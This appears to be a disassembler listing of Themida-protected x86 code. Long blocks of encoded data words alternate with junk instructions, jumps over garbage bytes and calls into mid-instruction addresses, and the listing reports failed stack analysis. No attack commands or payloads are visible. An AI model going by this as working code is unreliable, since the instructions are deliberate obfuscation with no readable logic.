		dd 3, 66D7B70Fh, 0F8AC54BFh, 13E8h, 550CC500h, 0BFF64CD7h
		dd 0BB4128CEh, 22A4B94Dh, 37410C91h, 0AE95Eh, 72610000h
		dd 1B6FA28Dh, 0EB83C1A1h, 9820Fh, 8C0F0000h, 3,	60F28B66h
		dd 9F22C681h, 8B665256h, 35BB61D3h, 602AFC7Bh, 63EA8166h
		dd 2880FC7h, 53000000h,	8B666159h, 36C381CBh, 0B93591D9h
		dd 5A2669FEh, 8D0FCB8Bh, 0Eh, 9E9h, 0E3E1F200h,	54EECEEDh
		dd 0D9819478h, 3A3492ABh, 0D18BF5FCh, 6E8h, 0BC255400h
		dd 0FD16931h, 280h, 5E5A5000h, 71D08157h, 5B3D950Ch, 6BCBA66h
		dd 56F98B66h, 0F10ACABAh, 0C3815A53h, 6BBB59B9h, 8160A5B7h
		dd 9A459DC7h, 0C8BF0F45h, 0B866F961h, 840F68C7h, 0Bh, 5810Fh
		dd 81660000h, 8154F1EEh, 0D53345C6h, 0F9BF0F77h, 0FD2B70Fh
		dd 0B89h, 5870F00h, 66000000h, 0AA08F681h, 0F8CC880h, 284h
		dd 0F5EC8A00h, 0E4CF8166h, 66F78B9Ah, 0BB66D18Bh, 0F534B91h
		dd 0E85FF9B7h, 0Dh, 9A55B151h, 8987715Ah, 0E6C6404Ch, 5E9592Fh
		dd 24000000h, 74C13858h, 55EF8166h, 0FDFB4FDh, 1886h, 13E900h
		dd 18530000h, 2A8C72A6h, 0DD695566h, 0E8B6F4E6h, 3CEA843h
		dd 0C68166D9h, 0E960F801h, 0Bh,	200ACAB6h, 0A124B7D8h
		dd 61C5EBF4h, 19880Fh, 14E90000h, 0E000000h, 0B8F71D32h
		dd 668513B8h, 0B5C0CFBEh, 0E58B66B8h, 666AAF83h, 0DE9FA8Bh
		dd 8000000h, 0A70F016Fh, 0ED9FC65Bh, 1D0D6612h,	8810Fh
		dd 870F0000h, 2, 10E9D18Bh, 0D3000000h,	73F2EE04h, 0EA6D9EA8h
		dd 0B43E8A83h, 8BE4C757h, 0C08166CAh, 810FC134h, 11h, 0CE9h
		dd 0A2EEB400h, 0E8ED512h, 88167643h, 6061605Ch,	0AC88166h
		dd 0D98A61C7h, 1DDE8166h, 0E9B6B01Ch, 14h, 0F4F46CC9h
		dd 9D6859FCh, 0FE88F876h, 0E7C01150h, 0B287548Bh, 3820Fh
		dd 8B660000h, 0E38166C6h, 0C28A197Eh, 7EC3CB81h, 8B6609DAh
		dd 10E851CFh, 0E7000000h, 88C7FBBCh, 0C42209D7h, 0D211D220h
		dd 8BFE7278h, 665F59FBh, 2C55CA81h, 0BE9h, 0A428BB00h
		dd 0A0AE7B23h, 78F6BFAEh, 3AC680F5h, 5E8h, 84172300h, 6E9E16Ch
		dd 5C000000h, 32622616h, 5E95969h, 65000000h, 8C425529h
		dd 0AE9h, 0FC2ECC00h, 0FE95455Bh, 0F22DCDBh, 1185h, 9E800h
		dd 0EF030000h, 0D6706143h, 8B369C88h, 840F59FAh, 2, 11E8D68Bh
		dd 0FE000000h, 9B4FBD1Ch, 941D11B7h, 6A33FBD8h,	0FC3BE15Ah
		dd 28B0Fh, 5F530000h, 128E0F59h, 60000000h, 7E8h, 0D0A8C500h
		dd 5A4F764Ah, 0D88B6658h, 14E861h, 0BC8B0000h, 0E309263Fh
		dd 9C4DC455h, 61C232C5h, 8EE85B81h, 805667EBh, 5A598DDAh
		dd 879EF9BEh, 8E9F95Ah,	0BD000000h, 2D60D44Ch, 50614D73h
		dd 1CCB8166h, 14E95E0Ch, 0F9000000h, 361803FFh,	32B29F65h
		dd 16B9EF99h, 996E4B99h, 660A56B3h, 0FA509BBh, 58Ch, 0CB816600h
		dd 0E9579374h, 6, 0EC37E7ACh, 0F59E994h, 781h, 8B666000h
		dd 615950DFh, 48A0Fh, 0B9660000h, 0F28B952Ah, 12E8F38Bh
		dd 19000000h, 0B21E706h, 0DA4C7B69h, 5237EDE2h,	0A0C4A2A0h
		dd 0FEE6BAE4h, 8B5B1FBCh, 2880FCEh, 8B000000h, 13E8CAh
		dd 0C2DE0000h, 0A3D62D55h, 54EDC163h, 66371131h, 0A8984318h
		dd 0FE8CDh, 0FE440000h,	0D83F8EF4h, 0A946FABCh,	326AFBC1h
		dd 81595EE1h, 0C58BDDD6h, 870F1Eh, 66000000h, 0F9169BFh
		dd 0E953C0B7h, 7, 1AE1EB60h, 5F08D19Fh,	0DE9F6B2h, 6B000000h
		dd 415DFD1Bh, 0A8660796h, 0F7D963FBh, 0FD6FDBBBh, 0B860F5Ch
		dd 0F000000h, 580h, 0C172B900h,	0E860456Eh, 14h, 679FC019h
		dd 90E63183h, 36197D71h, 0EB22C6F4h, 22EB0BDBh,	8B03FB9h
		dd 7E85E5Bh, 0F3000000h, 9101192Eh, 8166EAD1h, 5E1E5AD0h
		dd 0FE961h, 2B420000h, 0F6CEA4Ch, 0CD013D58h, 0B9FCD4C8h
		dd 3AB16055h, 0BE8h, 8B91900h, 459E10D6h, 3AF78F3Ah, 0EE9h
		dd 27D6C900h, 0DA43927Bh, 2F1E385Fh, 5E34356Eh,	0CA81F561h
		dd 466EBD93h, 1F38D681h, 14E948A3h, 89000000h, 6F99B2A4h
		dd 0D4C9D748h, 0C737484Fh, 73231C84h, 0F59446Bh, 0CF81C6B7h
		dd 382A5941h, 12E8h, 715D00h, 0BB17A04Dh, 8B05C1CBh, 0F0065832h
		dd 8B207F37h, 830F58D1h, 2, 0E9605A51h,	10h, 0E8C1647Fh
		dd 57C6E3A4h, 4A1307F9h, 5067A6B7h, 0AB7FBF61h,	830F1DAEh
		dd 16h,	11E9h, 0A7F75200h, 338A5633h, 35CFD9CBh, 556FBC5Bh
		dd 0CE880A8h, 72000000h, 10931FA3h, 2E3588B5h, 0B977C54Bh
		dd 501568Fh, 2890F5Eh, 8B000000h, 0AE9F2h, 403B0000h, 47B0E79Fh
		dd 565B97F9h, 8BCB8B66h, 0A5B860F8h, 61736846h,	5830Fh
		dd 5BB90000h, 66697D22h, 0B966D88Bh, 0CB8132EBh, 7C28547h
		dd 9D92CCBAh, 0BE90Ch, 30010000h, 6B78D1AFh, 0BB66A88Bh
		dd 7E928h, 14A60000h, 73A2A999h, 88D0F58h, 0F000000h, 283h
		dd 8A595300h, 8870FE5h,	53000000h, 0F9FDF381h, 0E85B57BDh
		dd 8, 0F8858510h, 0CC474D31h, 48C0Fh, 0B8660000h, 0B85BF96Ah
		dd 3DAAA7CCh, 6F6BBB66h, 4800F53h, 66000000h, 5EFEEDB9h
		dd 66C0BF0Fh, 0C195DF81h, 3248C681h, 890F50C0h,	5, 0ADE18166h
		dd 0DF8166FAh, 13B89EE0h, 0E95C075Ch, 0Ah, 0BF08E885h
		dd 0AE789A0h, 0BF0F1B5Bh, 0F7DA81D3h, 665B069Dh, 0BA91D5BAh
		dd 3F23E941h, 7E90EB4h,	0E000000h, 808D583Fh, 0B5B77F98h
		dd 73D5E881h, 80575292h, 0E95F0FC9h, 5,	0D3797AA6h, 0E1816622h
		dd 0EE92AE1h, 4B000000h, 93BD981Eh, 0F667DC8Eh,	43CD8A30h
		dd 0C72DBB3Fh, 7E8507Ch, 0FE000000h, 9689617Ah,	0BF0FC6FFh
		dd 0B96658FEh, 0E957D132h, 13h,	7A65A380h, 0A37A3086h
		dd 0CF12FA7h, 8B604221h, 58F9810Fh, 0EE8h, 0DB95D000h
		dd 7782F18Dh, 48896B86h, 66CB2621h, 665FFA8Bh, 830FF18Bh
		dd 1, 0F6BF0FF8h, 0DFEB8166h, 0C8816697h, 0F6814D33h, 6D5845C8h
		dd 0E8D2BF0Fh, 9, 0E20B0CAh, 0A393C07Dh, 0F5F181CEh, 5F0BCF5Ah
		dd 19860F53h, 0E9000000h, 14h, 51D61BEEh, 53312637h, 4B7DDBE5h
		dd 0AC8374E2h, 1031A5B9h, 0C8F2815Ah, 0F10C897h, 387h
		dd 0DFB70F00h, 0C181D18Bh, 88D8DB2h, 66D98B66h,	9E8CB8Bh
		dd 0D4000000h, 5B743A88h, 0D093DF5Dh, 9E9h, 89D86200h
		dd 329FE5CFh, 0F5EEF04h, 0B866D3BFh, 0BB664F14h, 0BE83DC1h
		dd 0B9000000h, 0DF20E74Fh, 6AC1AFCh, 8E0F7FDCh,	1, 0D18058FCh
		dd 0B5A0B4D1h, 6810F96h, 81000000h, 4F490EDBh, 0F3BE6076h
		dd 0F5F6F74h, 689h, 8F0F00h, 61000000h,	880Fh, 0AE80000h
		dd 24000000h, 3BC5B77Fh, 598A5450h, 0C28B66BEh,	0BDCA815Fh
		dd 0BF5DEDBDh, 0F9332A4h, 1671CA81h, 0ED803B41h, 0E957F934h
		dd 0Eh,	3C31990Ch, 0B08035D2h
		dd 2816D6C6h, 0F5AC2F9h, 0E82h,	8C0F6000h, 0
		dd 860Fh, 0E8610000h, 0Fh, 9AD28B65h, 0ACD2BDD1h, 0D5AAACFEh
		dd 0F326D16h, 581h, 1940B800h, 665E0E98h, 69BDF281h, 13E8h
		dd 9D09B800h, 69F018EDh, 67B1B3A2h, 0ADFF8335h,	0BD2829Ah
		dd 0F2B9FC60h, 6102C3C9h, 0FF6B45Bh, 83h, 66BB6600h, 80C78B70h
		dd 0FA8B9CC8h, 0CE9DE8Ah, 7000000h, 3C8EB3B1h, 94EB05E1h
		dd 80D3131Eh, 80B3F1C7h, 8BF7B70Fh, 0E719BFD7h,	0F280561Ah
		dd 0BF02B4C0h, 28F7F391h, 0DEB70F60h, 6107D580h, 0C30866BBh
		dd 0F23B420h, 58Ch, 4198BE00h, 0F7B53E5Bh, 0B966F08Bh
		dd 0D38136F5h, 5AE21871h, 6E9h,	0CDD92900h, 0FC59E90h
		dd 8D0FC0B7h, 3, 0E91ED980h, 11h, 2E2BD4F5h, 368D5EA1h
		dd 79F1D2C0h, 0D58DF758h, 46E3811Fh, 0B5407B59h, 0CE81667Ah
		dd 8060517Ah, 13E981C0h, 1000000h, 0D70ABB78h, 3E98891Bh
		dd 0C7B338BAh, 60A8B530h, 0E961B6B1h, 0Ch, 8093CF87h, 4F5AC06Eh
		dd 0F83BEDFEh, 0E68166F8h, 81666450h, 0E8239AEAh, 0Ah
		dd 81096447h, 0BA000833h, 0B1BAAAEAh, 5A65CCFBh, 72EF8166h
		dd 14E910h, 0FA800000h,	7218B42h, 0D793348Bh, 0B87DF66Ah
		dd 9D07D9Eh, 0B2B6B865h, 0F2D780F8h, 0DFB70FF8h, 8BC68BF8h
		dd 0B820FF3h, 0F000000h, 582h, 0C8816600h, 0BF669948h
		dd 0BF0F6892h, 0E7B866CFh, 0B8F78AEEh, 60E81A51h, 36CE8166h
		dd 0E0F5BE4Ah, 890F7AFEh, 5, 75C68166h,	0CE8B60A0h, 5850Fh
		dd 81660000h, 6168F3F0h, 0DB86660h, 9E8BCh, 0AFE70000h
		dd 8B06B56Eh, 0E881C545h, 11h, 920DEDF0h, 910D92B5h, 0D2F79725h
		dd 5E776A2Eh, 615E5F8Bh, 840FC28Bh, 2, 0F860DDB4h, 6E8h
		dd 486ED800h, 60DB37ECh, 0F615961h, 148Fh, 0FE900h, 1AAB0000h
		dd 651212A1h, 18B3DBF3h, 0D4ACB006h, 0DB816680h, 816621BBh
		dd 0F01A3E9h, 10E9DBB7h, 50000000h, 0BE598A54h,	0E6E775D8h
		dd 355A26FEh, 0E9458F78h, 14h, 857797A5h, 0F4EFD92h, 9794028Ah
		dd 4AC1364Ch, 9D2B390Dh, 0D8F0Fh, 8E90000h, 0F4000000h
		dd 4C44F0FDh, 0BFF099ADh, 58B002A8h, 0C1806050h, 0EE99Eh
		dd 0ADC50000h, 0C32B5778h, 2942A032h, 5CDD6FD4h, 0BE95A61h
		dd 16000000h, 0D833D1B8h, 0FE31EB50h, 0F38ABC5Fh, 0F0D44DBEh
		dd 0A6E7811Fh, 66061FC1h, 349EC081h, 0E85042B3h, 6, 75028567h
		dd 5B58BE19h, 9A2AF781h, 0BE665045h, 0E960D48Bh, 10h, 792C8457h
		dd 0A8F978Dh, 193DA073h, 0FCB51C76h, 0CCEE8166h, 0BF0F616Eh
		dd 880F52D9h, 3, 5ACAB70Fh, 1EB220BFh, 77BE6671h, 9E8BAh
		dd 6290000h, 12BF2A77h,	0E8D81A10h, 0Bh, 0BD939A44h, 15D35AECh
		dd 0F488BCBh, 88h, 665B5900h, 8B66F28Bh, 0FF8F9F3h, 0B866DBB7h
		dd 665306A7h, 5ED8D0BBh, 0BE8F38Bh, 0D1000000h,	0D9EB7851h
		dd 3E2CB32Fh, 8F0FE166h, 2, 0F59C28Bh, 0C80h, 6860F00h
		dd 0F000000h, 8Eh, 0FCC88100h, 0E90BA936h, 9, 0C3F4D90Eh
		dd 14C45685h, 75E58017h, 0BE666060h, 0DA8BEF92h, 7D82BE61h
		dd 0E9615DA6h, 6, 811A84Ch, 66F92A3Eh, 0C274F281h, 88B9BEFCh
		dd 8F0F045Fh, 1, 0D9B70FF5h, 0DE9F9h, 0C9C30000h, 95CDFCE8h
		dd 0BA7DD836h, 661FDE45h, 8A6AC681h, 8B65D880h,	10E8CEh
		dd 7F670000h, 75043090h, 1FE1D66Bh, 0B9595F01h,	98B780C8h
		dd 8B66605Ah, 0FD8A61F3h, 0E9FCCB8Bh, 11h, 2864884Eh, 0E6C55807h
		dd 6F71B2ACh, 92F366F0h, 8BCE8B6Bh, 15830FD1h, 57000000h
		dd 0EE9h, 4EBC2C00h, 4AC0FE78h,	3FC0F946h, 5A890D1Ah, 5FF78166h
		dd 66605269h, 81B097BEh, 3D9226C8h, 0E85F611Dh,	12h, 9E75C9C6h
		dd 0A06E20D0h, 475C206Eh, 5F7D87E5h, 0F081C7A5h, 4D505E0Fh
		dd 6B44B858h, 0BE91EF3h, 0B4000000h, 6347FA1Fh,	89F8AD45h
		dd 8166632Fh, 602BC1C3h, 0EB45BF56h, 665F093Fh,	508CC781h
		dd 5E9F961h, 9B000000h,	0AD092846h, 0E66DBE66h,	0C9816653h
		dd 605E3768h, 0B4905FB8h, 0C9816663h, 0F61A3E5h, 0BFF5D0B7h
		dd 383B3676h, 8166CB8Bh, 0B695E6DEh, 0DE91Dh, 7E4A0000h
		dd 0D83B0DECh, 93FC2648h, 569D773Fh, 8B665EFCh,	0F9AB4C6h
		dd 0C080F0BFh, 0D3BB66BEh, 8B5F5105h, 0C38B66D7h, 0C381C18Bh
		dd 69C85735h, 28C0Fh, 0CA8A0000h, 0BF0F21B5h, 0BE9C3h
		dd 0D9660000h, 3B26919Ch, 0CC9A6FBBh, 0E28166F5h, 840F01C0h
		dd 2, 0C8815853h, 6062CC98h, 0FD38B66h,	12E9D9BFh, 6E000000h
		dd 0A4A0849Bh, 0EBB412DBh, 29B19D05h, 0F3674F39h, 0EE85Dh
		dd 0CD530000h, 0ADED90F2h, 120319D0h, 3432EF2Ch, 59F28B66h
		dd 48D0Fh, 0BE660000h, 0F8FC670Ah, 6EE28166h, 7E935h, 5F8F0000h
		dd 59E83CC7h, 840FCCh, 0F000000h, 1786h, 0BE800h, 0C62F0000h
		dd 0B9C0237Bh, 0E63042D1h, 8B0FE1h, 59000000h, 8A0F5E51h
		dd 4, 0C71FBB66h, 66C28166h, 7E92Fh, 91700000h,	0A2121192h
		dd 28F0F8Eh, 8B000000h,	0BF0F60D3h, 870F61C8h, 5, 16EB8166h
		dd 0AE998h, 0FAAE0000h,	25439360h, 9EB3C1B1h, 10E8h, 0A841B700h
		dd 94B863CCh, 428D9235h, 0ED918514h, 0EE12BAE4h, 5759242Ch
		dd 7532BEBFh, 8D0F5F54h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5CFF82
; ---------------------------------------------------------------------------
		db 97h,	0B0h, 97h
		dd 0BFD3A4D8h, 0A6573C5h
; ---------------------------------------------------------------------------
		ror	ebp, 1


loc_5CFF82:				; CODE XREF: Themida_:005CFF70j
		pusha
		mov	bx, dx
		and	ax, 18Dh
		popa
		jmp	loc_5CFFA2
; ---------------------------------------------------------------------------
		push	di
		cdq
		sbb	ah, [edi-2065B7C4h]
		mov	dh, 0B1h
		or	al, 61h
		sub	esp, [ebp-4Eh]
		push	eax


loc_5CFFA2:				; CODE XREF: Themida_:005CFF8Cj
		jl	near ptr loc_5CFFC2+3
		jz	near ptr loc_5CFFC2+3
		call	near ptr loc_5CFFC2+2
		cld
		sub	dword ptr [eax-7B8C51F4h], 5484D38h
		pop	esp
		cli
		out	2Bh, al


loc_5CFFC2:				; CODE XREF: Themida_:005CFFAEp
					; Themida_:loc_5CFFA2j	...
		adc	byte ptr [esi-2F40F0A1h], 66h
		mov	edi, 52F9AD5Fh
		push	esi
		jg	$+6
		pop	ebx
		pop	ebx
		clc
		adc	eax, 4941E9AEh
		xor	edi, 89DA39Ch
		add	di, 103Eh
		sub	ebx, 4BF53DCh
		cld
		jns	loc_5D0008
		jmp	loc_5D0008
; ---------------------------------------------------------------------------
		db 0FAh
		dd 8AD21B6Ah, 0A1C2F297h, 20936FEAh
; ---------------------------------------------------------------------------


loc_5D0008:				; CODE XREF: Themida_:005CFFF0j
					; Themida_:005CFFF6j
		pusha
		jmp	loc_5D001D
; ---------------------------------------------------------------------------
		dw 49B3h
		dd 0F0AA32Fh, 1AE8A716h, 30B78440h
; ---------------------------------------------------------------------------
		inc	ebp


loc_5D001D:				; CODE XREF: Themida_:005D0009j
		jmp	loc_5D0035
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0E7h
		dd 1B572814h, 1BA34E09h, 90F43875h, 0A4A2CDFh
		db 0A0h
; ---------------------------------------------------------------------------


loc_5D0035:				; CODE XREF: Themida_:loc_5D001Dj
		popa
		call	near ptr loc_5D0045+2
		jp	short loc_5D007D
		and	al, 88h
		push	0FFFFFFC1h
		mov	dh, 73h
		lodsb
		leave


loc_5D0045:				; CODE XREF: Themida_:005D0036p
		arpl	[edi-18h], sp
		or	[eax], al
; ---------------------------------------------------------------------------
		dw 0
		dd 1D36808Bh, 0DC30D813h, 0E029B866h, 8166595Bh, 0F1A60F3h
		dd 48Eh, 76BB6600h, 57F48ACCh, 0D88B6660h, 0E8F55A61h
		dd 6, 92D1E95Fh
; ---------------------------------------------------------------------------
		push	ecx


loc_5D007D:				; CODE XREF: Themida_:005D003Bj
		mov	ebx, 0DD23C781h
		or	al, 3Ch
		pop	ebx
		pusha
		movzx	eax, ax
		jmp	loc_5D00A1
; ---------------------------------------------------------------------------
		dw 2472h
		dd 2ABD19B2h, 195A324Dh, 44025A95h, 2E7C34D6h
		db 6Ch
; ---------------------------------------------------------------------------


loc_5D00A1:				; CODE XREF: Themida_:005D0089j
		popa
		mov	ax, cx
		or	bh, 63h
		push	ebx
		mov	bl, ah
		pop	esi
		mov	ax, 0C354h
		mov	al, 60h
		mov	ebx, edx
		clc
		call	near ptr loc_5D00C7+2
		mov	dh, 16h
		enter	0FFFFAC77h, 0EDh
		push	ecx
		cld
		add	al, 1
		setalc
		scasd
		cmpsd


loc_5D00C7:				; CODE XREF: Themida_:005D00B5p
		mov	ebx, 4B79BA3Bh
		db	36h
		dec	esi
		pop	esi
		mov	cx, 3D82h
		adc	edi, 14CF893Eh
		mov	di, 680h
		mov	edi, edx
		and	ax, 5C88h
		mov	ebx, edx
		or	dx, 0B6EFh
		jmp	loc_5D00FA
; ---------------------------------------------------------------------------
		dd 0FD22188Fh, 0EB24B15Eh
; ---------------------------------------------------------------------------
		aad	0EDh


loc_5D00FA:				; CODE XREF: Themida_:005D00EBj
		or	eax, 75268709h
		jle	$+6
		jmp	loc_5D0114
; ---------------------------------------------------------------------------
		db 0ADh
		dd 6688F071h, 41A81C9Bh
; ---------------------------------------------------------------------------


loc_5D0114:				; CODE XREF: Themida_:005D0106j
		jbe	loc_5D011B
		clc


loc_5D011B:				; CODE XREF: Themida_:loc_5D0114j
		mov	ebx, edx
		movzx	ecx, di
		mov	si, 0F146h
		jo	loc_5D012B
		cmc


loc_5D012B:				; CODE XREF: Themida_:005D0124j
		call	sub_5D0140
		test	[esi+3A5E444Ah], ebp
		jmp	far ptr	4A2h:6063B42Ah
; ---------------------------------------------------------------------------
		db 0DFh, 0F0h, 76h

; =============== S U B	R O U T	I N E =======================================



sub_5D0140	proc near		; CODE XREF: Themida_:loc_5D012Bp
		add	esi, 2CA02498h
		pop	edi
		jmp	loc_5D0157
; ---------------------------------------------------------------------------
		dd 0DAAED532h, 6B20F3DCh
; ---------------------------------------------------------------------------
		adc	ebp, [esi-6Fh]


loc_5D0157:				; CODE XREF: sub_5D0140+7j
		jge	loc_5D0169
		jp	loc_5D0169
		jnb	$+6


loc_5D0169:				; CODE XREF: sub_5D0140:loc_5D0157j
					; sub_5D0140+1Dj
		mov	ebx, eax
		mov	edx, esi
		movsx	edi, dx
		jmp	loc_5D017D
; ---------------------------------------------------------------------------
		align 2
		dw 7C8Ch
; ---------------------------------------------------------------------------
		mov	byte ptr [edx-67h], 27h
		inc	esp


loc_5D017D:				; CODE XREF: sub_5D0140+30j
		mov	dx, 0E238h
		pusha
		jmp	loc_5D019A
; ---------------------------------------------------------------------------
		db 6Ah
		dd 0D6BEAFF7h, 5648683Eh, 34004281h, 0BA500176h
		db 0DAh, 40h
; ---------------------------------------------------------------------------


loc_5D019A:				; CODE XREF: sub_5D0140+42j
		mov	esi, eax
		popa
		mov	edi, 7A61D181h
		jb	loc_5D01B0
		jnz	loc_5D01B0
		pusha
		popa


loc_5D01B0:				; CODE XREF: sub_5D0140+62j
					; sub_5D0140+68j
		jnb	$+6
		jmp	loc_5D01C3
; ---------------------------------------------------------------------------
		db 0AEh
		dd 745B2D98h
		db 5Ah,	4Bh, 0B1h
; ---------------------------------------------------------------------------


loc_5D01C3:				; CODE XREF: sub_5D0140+76j
		mov	ebx, edx
		call	near ptr loc_5D01DC+1
		mov	bl, 0EDh
		fidiv	word ptr [edi]
		lea	edx, [ebp-55BFBF8Ah]
		mov	eax, ds:5CDA2EC2h
		sal	dword ptr [eax], 0EFh


loc_5D01DC:				; CODE XREF: sub_5D0140+85p
		mov	dh, 66h
sub_5D0140	endp ; sp-analysis failed

		and	edx, 8B5EEC99h
		iret
; ---------------------------------------------------------------------------
		db 0F9h, 8Bh, 0CFh
		dd 38A0F57h, 0F000000h,	0FC58F2B7h, 3870Fh, 0BF0F0000h
		dd 17BE66FEh, 0D3BF0FC6h, 0BEA8150h, 5944A505h,	8D08B866h
		dd 0B800Fh, 810F0000h, 5, 0F345CAB9h, 66F3B831h, 820F1D80h
		dd 22h,	7E8h, 9B2E0500h, 0E7A10944h, 0FE8h, 97940200h
		dd 4AC1364Ch, 9D2B390Dh, 0D9941C47h, 0BB665E59h, 850F4E1Ah
		dd 6, 3EE5E381h, 870F32DDh, 5, 0F0BF0F57h, 0CF816658h
		dd 12E8CDE6h, 67000000h, 8DD0E181h, 646A7D88h, 0EEFEDE02h
		dd 1080D584h, 0FBD28118h, 5857AA8Eh, 48F0Fh, 0B8660000h
		dd 10B8FCC3h, 661BCCD5h, 0DACFE781h, 0CABF0FF5h, 1860Fh
		dd 0FF50000h, 6E9FFBFh,	0D4000000h, 8172AD47h, 8E946h
		dd 368F0000h, 4FA557D2h, 0D181F213h, 318BBF38h,	12E8h
		dd 4117B600h, 6D720188h, 0EFF8E3D6h, 54F40CAEh,	0FC2DE3Eh
		dd 138Eh, 0DE800h, 0CDA30000h, 0EF8F22C2h, 8EC3675Fh, 58C5E68Ch
		dd 8E958h, 875D0000h, 0F9DA0D25h, 8056EFACh, 815A98D5h
		dd 1F824AEFh, 0D781660Bh, 5B57580Fh, 10E860h, 730C0000h
		dd 0F1392302h, 0F70BF796h, 3A598EE6h, 81666AABh, 5902C8D2h
		dd 6170EC80h, 1800Fh, 0E8FC0000h, 12h, 48B13A9Fh, 7DE47179h
		dd 0BB87C32Eh, 0C0868A5Bh, 0EE9A202h, 0F0000000h, 0AEAC62D0h
		dd 4B415853h, 6DDD4636h, 0CB815A67h, 4CB0526Eh,	0C8C38166h
		dd 0F780F50Dh, 0BE947h,	0DAFD0000h, 4E98B989h, 62517BFCh
		dd 66FC6023h, 8161FE8Bh, 707ADEE8h, 5E96064h, 0AE000000h
		dd 7B8484EFh, 0FC61C2B1h, 646A8DBEh, 0E9DF8B46h, 5, 10FB5708h
		dd 0BF0F608Dh, 0F96061F0h, 0E8C6B161h, 0Ch, 0B55B0C23h
		dd 2FE23CE1h, 8D53CC2h,	5EF9B70Fh, 13E8F8h, 0C2D50000h
		dd 0E991C95Ah, 0DED5A203h, 1F4CAE2Fh, 0BFBDCCC2h, 0A3C9810Fh
		dd 5A789815h, 73F18166h, 860FF8CFh, 2, 850FD98Bh, 0Fh
		dd 0AE9h, 28BB500h, 0ED53F94Bh,	81712D7Eh, 752638EEh, 24EE816Bh
		dd 0E937167Dh, 0Eh, 0E06C55BBh,	0EFC72824h, 14127BA7h
		dd 0BF0F50D5h, 10E9D8h,	55070000h, 3ED3690h, 0F9FF6F86h
		dd 0C5F8A91Fh, 17BBD1C6h, 0BF25956Dh, 3C3B891Bh, 0AA94CA81h
		dd 0FABE58C6h, 81184DF3h, 958A20F1h, 0A8D68072h, 0CE8h
		dd 3B905000h, 81ACEB7Dh, 0A8946DF8h, 68A0F29h, 0F000000h
		dd 8Dh,	8E0F5B00h, 15h,	0AE8h, 0CD665200h, 0CB314EE7h
		dd 0B9D83C17h, 63F331A0h, 5E95Bh, 69470000h, 0F5E569Fh
		dd 6060F6BFh, 0FAB70FF9h, 0FE961h, 47850000h, 5F1A21F4h
		dd 0ABC17978h, 299CD1CBh, 0B5F5613Eh, 0BE9DFh, 0C6FF0000h
		dd 0D2F4E2CBh, 6F46289Dh, 5E93Fh, 5A2B0000h, 8B225338h
		dd 0DE8166FEh, 6660CA0Bh, 810566B8h, 1F2CB0F0h,	860F6128h
		dd 0Ah,	4860Fh,	0B8660000h, 81665584h, 813A6BD9h, 0FB8CD8F2h
		dd 6D8CB946h, 8B6615C6h, 0DECF80D7h, 0B830Fh, 6E90000h
		dd 0AB000000h, 4BF6804Bh, 0C18B606Dh, 0BF61C38Bh, 40DD0AC4h
		dd 0E8D9B70Fh, 0Dh, 1E57B599h, 7FE56F4Ch, 7AA6108Eh, 8A0F79h
		dd 59000000h, 8E0FCB8Bh, 5, 68878EB9h, 0F0E48069h, 0E9D98B66h
		dd 0Ah,	616961DAh, 59CFCD5Eh, 0BF0F16C9h, 0CDC381C8h, 0F50E28FEh
		dd 7E9h, 0C9482100h, 954DDFB7h,	0F5D0B70Fh, 0CFB2B966h
		dd 0C6B86656h, 12E95F4Dh, 0FC000000h, 0C271AF50h, 553BE85Eh
		dd 70B1B2ECh, 0CDADD806h, 0E9D18B1Ch, 0Ch, 0FE2BC48Bh
		dd 3CC1B091h, 9CCD2D42h, 0B0D78166h, 0AE98Fh, 4CAF0000h
		dd 0E5FDB3AEh, 0E42CE1C5h, 0FE960h, 0EF940000h,	1996CB4Ah
		dd 0A2F54A19h, 3FD91B47h, 61CB8B7Dh, 8AF30AB8h,	0B38B906h
		dd 0D9815A4Ch, 5580D982h, 0EF81C68Ah, 5427C6B7h, 12E9h
		dd 0F3C8B200h, 5D1B24Ch, 1183871Bh, 9C13C191h, 8B9EF7D3h
		dd 0CBC580C7h, 9E9h, 82FE2A00h,	0A5F1664Eh, 0E9F8F479h
		dd 0Ah,	0BFEA91F8h, 8FE626D2h, 0EB9C3E3h, 0E9450F87h, 12h
		dd 5410A75h, 85156D0Bh,	25471CC8h, 428724CDh, 8166AAD6h
		dd 66F8F2F2h, 0D1C0E281h, 0E3C78166h, 1870F97h,	0F9000000h
		dd 0A6C88166h, 0DE9C5h,	0B2BA0000h, 0C2A5C05Fh,	55B5E78Ah
		dd 0E9F3B246h, 0Ch, 0A48B17B0h,	6F419464h, 0BCB95C0h, 0B749B7F9h
		dd 0E9CA8B25h, 8, 0F659D238h, 9B6F2262h, 8E9CA8Bh, 50000000h
		dd 16B62A7Ch, 66AC77C8h, 6EBFF88Bh, 0FC4A03DEh,	0DE8h
		dd 5AAC4E00h, 96CD2F13h, 2411AC9Bh, 0F60D8CBh, 0BE9FABFh
		dd 33000000h, 0B11FD07h, 9F0A93F9h, 5A6191C1h, 0EF5452BAh
		dd 93F2815Bh, 0B24BF379h, 0FBB70F64h, 0DF3952B9h, 0D9816659h
		dd 0BF0F7693h, 0FC8B3DAh, 68Bh,	3AE38100h, 664C192Fh, 1358CE81h
		dd 0E58060F5h, 10880F5Ah, 0E8000000h, 0Ah, 0E1FB36F6h
		dd 0AE28350Ah, 615F13F7h, 0B840Fh, 0F600000h, 8Fh, 4EF58000h
		dd 1E8CBF61h, 0CE80B82h, 0A0000000h, 1AAC0E21h,	0E2FC07FCh
		dd 0FFFDB6Fh, 565ED0BFh, 5EC9B966h, 56E88058h, 7266BB66h
		dd 37C8B966h, 890FFA8Bh, 3, 0FF28B66h, 83B6CFBFh, 66C88B66h
		dd 9856C181h, 0D2F69DB9h, 0C081503Ch, 43525AD2h, 0A3BB665Bh
		dd 98A0FDBh, 0F000000h,	389h, 0F0BF0F00h, 7E960h, 0C71D0000h
		dd 687961CAh, 616057BDh, 8A0F6158h, 4, 242BB866h, 0F95E380h
		dd 6E8FFB7h, 0E1000000h, 0DFC69BA0h, 0D7B70F42h, 8BF3B25Ah
		dd 40D281D8h, 0F94B9F7Ah, 0CB1A9B2h, 60C0DB80h,	5E9h, 0CFCE9C00h
		dd 13E84BD0h, 82000000h, 0C78155CEh, 7D4815FEh,	0FAB15CAAh
		dd 0F93FF519h, 13E8DFDFh, 94000000h, 0F59E8063h, 0EFF1509Eh
		dd 3B74DA1h, 62C63490h,	5E59C492h, 800F5361h, 3, 5AD1B70Fh
